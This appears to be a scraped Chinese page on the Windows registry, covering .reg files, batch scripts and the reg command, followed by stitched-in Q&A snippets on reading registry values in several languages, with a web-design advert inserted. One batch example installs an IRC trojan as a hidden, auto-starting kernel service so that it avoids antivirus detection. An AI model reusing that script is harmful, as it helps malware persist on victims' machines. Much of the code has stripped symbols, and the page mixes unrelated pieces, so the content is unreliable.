go语言注册表读取值 go 注册表

批处理操作注册表完全攻略(读取注册表/写入注册表等)

一，批处理生成.Reg文件操作注册表

创新互联建站-专业网站定制、快速模板网站建设、高性价比扎鲁特旗网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式扎鲁特旗网站制作公司更省心,省钱,快速模板网站建设找我们，业务覆盖扎鲁特旗地区。费用合理售后完善，10年实体公司更值得信赖。

用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可!

这里，着重要了解.reg文件操作注册表的方法。

首先.reg文件首行必须是：Windows

Registry

Editor

Version

5.00。然后才是操作注册表的内容。

(就和从注册表中导出的文件格式一致)

1，创建子项

Windows

Registry

Editor

Version

5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“TTT”的子项。

2，创建一个项目名称

复制代码

代码如下:

Windows

Registry

Editor

Version

5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

"Name"="TTT

BLOG"

"EMail"="taoether@gmail.com"

"URL"=""

"Type"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、

URL、Type这四个项目

Name、Email、URL的类型是“String

Value”

Type的类型是“DWORD

Value”

(附：windows注册表值类型：

REG_SZ

字符串值

REG_BINARY

二进制值

REG_DWORD

DWORD值

REG_MULTI_SZ

多字符串值

REG_EXPAND_SZ

可扩充字符串值)

3，修改键值

修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit

/s）即可。就象新建一样即可。可以一次修改同一子项下的多个项目。

4，删除项目名称

复制代码

代码如下:

Windows

Registry

Editor

Version

5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

"EMail"=-

执行该脚本，"EMail"就被删除了；

5，删除子项

复制代码

代码如下:

Windows

Registry

Editor

Version

5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

[-HKEY_LOCAL_MACHINE\SOFTWARE\DDD]

执行该脚本，子项ttt和ddd就已经被删除了。

6，.reg文件执行方法

1)直接执行reg文件

2)regedit

/s

*.reg

(/s不用确认)

3)reg

import

*.reg

7，其实，我们也可以用dll文件代替reg文件。

批处理例1：

复制代码

代码如下:

@echo

off

echo

Windows

Registry

Editor

Version

5.00

t1.reg

echo.

echo

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

t1.reg

echo

"Name"="TTT

BLOG"

t1.reg

echo

"EMail"="taoether@gmail.com"

t1.reg

echo

"URL"=""

t1.reg

echo

"Type"=dword:02

t1.reg

regedit

/s

t1.reg

del

/q

t1.reg

pause

批处理2：(这个例子是别人的，不是很懂的说~~)

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\

Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启

动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例

(名为windrv32.exe)

复制代码

代码如下:

@start

windrv32.exe

@attrib

+h

+r

windrv32.exe

@echo

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

patch.dll

@echo

"windsnx

"=-

patch.dll

@sc.exe

create

Windriversrv

type=

kernel

start=

auto

displayname=

WindowsDriver

binpath=

c:\winnt\system32\windrv32.exe

@regedit

/s

patch.dll

@delete

patch.dll

@REM

[删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]

@REM

这样不是更安全^_^.

二，reg命令操作注册表

Reg命令是Windows提供的一下专门操作注册表的工具。可以方便的查询，添加，删除，导入，导出，比较等操作。具体可以参考系统自带的帮助……

REG

Operation

[参数列表]

Operation

[

QUERY

|

ADD

|

DELETE

|

COPY

|

SAVE

|

LOAD

|

UNLOAD

|

RESTORE

|

COMPARE

|

EXPORT

|

IMPORT

]

1，查询所有子项和值

D:\reg

query

hklm\software\TTT

!

REG.EXE

VERSION

3.0

HKEY_LOCAL_MACHINE\software\TTT

Name

REG_SZ

TTT

BLOG

EMail

REG_SZ

taoether@gmail.com

URL

REG_SZ

Type

REG_DWORD

0x2

2，查询特定项

D:\reg

query

hklm\software\ttt

/v

url

!

REG.EXE

VERSION

3.0

HKEY_LOCAL_MACHINE\software\ttt

url

REG_SZ

这里最难的是如何取得我们想要的字符串呢，困惑了好长时间，终于找到方法了。

原来也没有别的好办法，只能用find，for循环来截取我们需要的内容。(下面的例子如果看不懂，请参考本博客另外的文章：DOS循环-bat/批处理for命令详解之二)

例如我们要得到url的键值：

，可以用以下脚本：

复制代码

代码如下:

@ECHO

OFF

for

/f

"tokens=1,2,3,4,*"

%%i

in

('reg

query

"HKEY_LOCAL_MACHINE\software\ttt"

^|

find

/i

"URL"')

do

SET

"pURL=%%k"

echo

TTT

BLOG的URL值为：%pURL%

保存为Test.bat，运行结果如下：

D:\test.bat

TTT

BLOG的URL值为：

不行了，家里的电脑不知为啥，在命令行中一运行“REG”命令(包括reg

/?)，CPU就占用100%，看任务管理器，CMD占用百分之八十多，不知道为啥……

运行其他的命令就没有问题，包括regedit

/s……

查了一下，网上有说是中了木马的原因，但查了一下，也不象。既没有找到相关文件，而且运行其它的命令时，没有问题……

先不搞了，正好手头有个REG命令详解，等会整理一下!

因为查毒，用自己做的Clear.bat清理了一下C盘，居然清理出1个G的空间来，原来只剩几百兆了……windows的垃圾真是多啊~~不要忘了经常清理一下啊!

再发布两个做好的批处理文件，可以自动监控OutLook

Express，有需要的可以点击下载……

1，OEMonitorCount.bat　功能：可以重设注册表中OE打开次数，避免超过100次时提示压缩

2，OEMonitorSize.bat　功能：可以监控Outlook

Express邮件文件(*.dbx)大小，当大于指定大小时，生成报警日志。

这两个文件，可以加到启动组里，每次开机自动运行!

搞这两个主要是为了解决公司经常出现的一些问题：

1)经常有人的邮件文件超过几个G；

2)有时而且根据提示压缩后，可能出现邮件丢失。

刚发现，下载后的文件又加了“htm"的后缀，请去掉此后缀再使用!

另外下载时，请使用下面的链接，如：千脑电信高速下载地址、千脑网通高速下载地址。上面的VIP链接是专供千脑用户使用的~~

易语言怎样读取注册表里的注册项？

调用格式：

〈字节集〉

取字节集注册项

（整数型

根目录，文本型

全路径注册项名，〔字节集

默认字节集〕）

-

系统核心支持库-系统处理

英文名称：GetBinRegItem

在

Windows

注册表中返回指定的字节集类型注册表项值。如欲读取注册项默认值，请在项目名后加“\”号，如“test\”。与“取字节集注册表项”命令不同的是本命令可以取任意位置处的注册表项。本命令为中级命令。

参数1的名称为“根目录”，类型为“整数型（int）”。可以为以下常量值之一：

1、#根类；

2、#现行设置；

3、#现行用户；

4、#本地机器；

5、#所有用户。

参数2的名称为“全路径注册项名”，类型为“文本型（text）”。

参数3的名称为“默认字节集”，类型为“字节集（bin）”，可以被省略。如果指定的注册表项不存在，将返回此默认字节集。如果指定的注册表项不存在且本参数被省略，将返回空字节集。

操作系统需求：

Windows

读取之后与你认为的正确的值进行比较就可以了。

C++怎么读取注册表的值？

#include windows.h

#include iostream

using namespace std;

int main()

{

HKEY hOpen;

char key[255] = "SOFTWARE\\Microsoft\\Internet Explorer\\URL Compatibility";

char name[10] = "Version";

char buf[255];

DWORD size;

if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, hOpen))

{

RegQueryValueEx(hOpen, name, NULL, NULL, (BYTE*)buf, size);

cout buf endl;

}

RegCloseKey(hOpen);

Sleep(3000);

return 0;

}

如何正确读取注册表DWROD值

如果你实现知道你要读去的键值的话，可以使用RegQueryValueEx函数。

我做的是字串读出的

可以参考一下：

LPBYTE owner_get=new BYTE[80];

DWORD type=REG_SZ;

DWORD cbData=80;

DWORD lReturn ;

//获取 子项 的 参数

::RegQueryValueEx(hKey,_T(""),NULL,type,owner_get,cbData);

还有就是记得在使用之后将注册表关闭

::RegCloseKey(hKey);

请大家帮忙：怎么才能读取注册表中某一个键下的所有选项呢。谢谢拉

从注册表关键字中读出相关的数据值 在Tregistry类中还提供了与Write方法相对应用的用来读出与当前关键字相关的数据值。常用方法的原型定义如下： founction ReadString(const Name : string) : string; founction ReadInteger(const Name : string) : Integer; founction ReadFloat(const Name : string) : Double; founction ReadTime(const Name : string) : TdateTime; founction ReadBool(const Name) : Boolean; 示例程序如下： procedure TForm1.Button1Click(Sender: TObject); var MyReg : TRegistry; begin MyReg := TRegistry.Create; MyReg.RootKey := HKEY_LOCAL_MACHINE; try if not MyReg.OpenKey('SOFTWARE',FALSE) then ; if not MyReg.KeyExists('Passwd') then ; if not MyReg.OpenKey('SOFTWAREPasswd',FALSE) then ; Label1.Caption := MyReg.ReadString('pwd1'); Label2.Caption := IntToStr(MyReg.ReadInteger('pd2')); MyReg.CloseKey; finally MyReg.Free; end; end; 查看原帖

c语言读取注册表健值怎么读取

c++读取windows注册表信息的方法为：

以下是示例代码：

GetStringRegKey(hKey, L"BinDir", strValueOfBinDir, L"bad");

GetStringRegKey(hKey, L"", strKeyDefaultValue, L"bad");

LONG GetDWORDRegKey(HKEY hKey, const std::wstring strValueName, DWORD nValue, DWORD nDefaultValue)

{

nValue = nDefaultValue;

DWORD dwBufferSize(sizeof(DWORD));

DWORD nResult(0);

LONG nError = ::RegQueryValueExW(hKey,

strValueName.c_str(),

0,

NULL,

reinterpret_castLPBYTE(nResult),

dwBufferSize);

if (ERROR_SUCCESS == nError)

{

nValue = nResult;

}

return nError;

}

LONG GetBoolRegKey(HKEY hKey, const std::wstring strValueName, bool bValue, bool bDefaultValue)

{

DWORD nDefValue((bDefaultValue) ? 1 : 0);

DWORD nResult(nDefValue);

LONG nError = GetDWORDRegKey(hKey, strValueName.c_str(), nResult, nDefValue);

if (ERROR_SUCCESS == nError)

{

bValue = (nResult != 0) ? true : false;

}

return nError;

}

LONG GetStringRegKey(HKEY hKey, const std::wstring strValueName, std::wstring strValue, const std::wstring strDefaultValue)

{

strValue = strDefaultValue;

WCHAR szBuffer[512];

DWORD dwBufferSize = sizeof(szBuffer);

ULONG nError;

nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, dwBufferSize);

if (ERROR_SUCCESS == nError)

{

strValue = szBuffer;

}

return nError;

}